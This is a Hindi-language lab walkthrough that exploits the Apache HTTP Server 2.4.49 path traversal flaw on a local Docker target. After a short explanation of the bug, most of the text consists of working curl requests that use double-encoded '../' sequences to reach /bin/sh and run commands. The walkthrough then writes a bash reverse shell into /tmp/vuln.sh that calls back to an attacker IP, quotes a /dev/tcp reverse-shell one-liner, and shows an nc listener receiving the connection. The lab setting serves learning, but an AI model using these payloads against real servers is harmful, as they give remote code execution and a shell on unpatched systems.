
Apache HTTP Server 2.4.49 में पाथ नॉर्मलाइज़ेशन में किए गए बदलाव में एक दोष पाया गया। एक हमलावर पाथ ट्रैवर्सल हमले का उपयोग करके URLs को Alias-जैसी निर्देशों द्वारा कॉन्फ़िगर की गई निर्देशिकाओं के बाहर की फ़ाइलों से मैप कर सकता है।
यदि इन निर्देशिकाओं के बाहर की फ़ाइलें सामान्य डिफ़ॉल्ट कॉन्फ़िगरेशन "require all denied" द्वारा सुरक्षित नहीं हैं, तो ये अनुरोध सफल हो सकते हैं। यदि इन aliased पथों के लिए CGI स्क्रिप्ट भी सक्षम हैं, तो यह रिमोट कोड निष्पादन की अनुमति दे सकता है।
यह समस्या वास्तविक दुनिया में शोषित होने के लिए जानी जाती है।
यह समस्या केवल Apache 2.4.49 को प्रभावित करती है, पहले के संस्करणों को नहीं।
पाथ ट्रैवर्सल हमला (जिसे डायरेक्टरी ट्रैवर्सल के रूप में भी जाना जाता है) का उद्देश्य वेब रूट फ़ोल्डर के बाहर संग्रहीत फ़ाइलों और निर्देशिकाओं तक पहुंचना है। फ़ाइलों को संदर्भित करने वाले वेरिएबल्स में “dot-dot-slash (../)” अनुक्रमों और उनकी विविधताओं के साथ हेरफेर करके या पूर्ण फ़ाइल पथों का उपयोग करके, फ़ाइल सिस्टम पर संग्रहीत मनमानी फ़ाइलों और निर्देशिकाओं तक पहुंच संभव हो सकती है, जिसमें एप्लिकेशन सोर्स कोड या कॉन्फ़िगरेशन और महत्वपूर्ण सिस्टम फ़ाइलें शामिल हैं। यह ध्यान दिया जाना चाहिए कि फ़ाइलों तक पहुंच सिस्टम परिचालन अभिगम नियंत्रण द्वारा सीमित है (जैसे कि Microsoft Windows ऑपरेटिंग सिस्टम पर लॉक या उपयोग में मौजूद फ़ाइलों के मामले में)।
यह हमला “dot-dot-slash”, “directory traversal”, “directory climbing” और “backtracking” के नाम से भी जाना जाता है।
$ docker-compose build
$ docker-compose up
इसकी पुष्टि करें कि यह काम करता है
$ curl http://localhost:1234
<html><body><h1>It works!</h1></body></html>
पीड़ित : localhost:1234
हमलावर : 192.168.1.12
दस्तावेज़ीकरण के अनुसार, यह एक दोष है जो हमें रिमोट पर कोड निष्पादित करने (RCE) की अनुमति देता है।
हम cgi-bin फ़ोल्डर के साथ curl का उपयोग करके इसका शोषण कर सकते हैं।
$ curl 'http://<victim_ip>/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; <command>'
1. RCE
आइए देखें कि क्या हमारे पास वास्तव में कमांड तक पहुंच है, जैसे id:
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; id'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2. रिवर्स शेल
हम पीड़ित के सर्वर पर एक bash फ़ाइल बनाकर रिवर्स शेल का परीक्षण करेंगे।
आइए एक उदाहरण के रूप में PayloadsAllTheThings रिपॉजिटरी में पाई जाने वाली bash रिवर्स शेल को लें।
यहाँ एक उदाहरण है :
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
आइए पीड़ित की मशीन पर /tmp/ फ़ोल्डर में vuln.sh फ़ाइल बनाएं !
यह फ़ाइल हमारे रिवर्स शेल को समाहित करेगी जिसे हम रिमोटली चला सकते हैं। यह पोर्ट 44 पर हमारी लोकल मशीन से कनेक्ट होगी।
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; echo "#!/bin/bash\nbash -i >& /dev/tcp/192.168.1.12/44 0>&1" > /tmp/vuln.sh'
आप cat कमांड से फ़ाइल की सामग्री जांच सकते हैं
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; cat /tmp/vuln.sh'
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.12/44 0>&1
3. ncat के साथ लिसनर
आइए लोकल मशीन पर लिसनर बनाएं।
$ nc -lvnp 44
अब केवल रिमोट फ़ाइल को निष्पादित करना बाकी है।
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:
text/plain; echo; bash /tmp/vuln.sh'
प्रतिक्रिया :
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::44
Ncat: Listening on 0.0.0.0:44
Ncat: Connection from 172.19.32.1.
Ncat: Connection from 172.19.32.1:58963.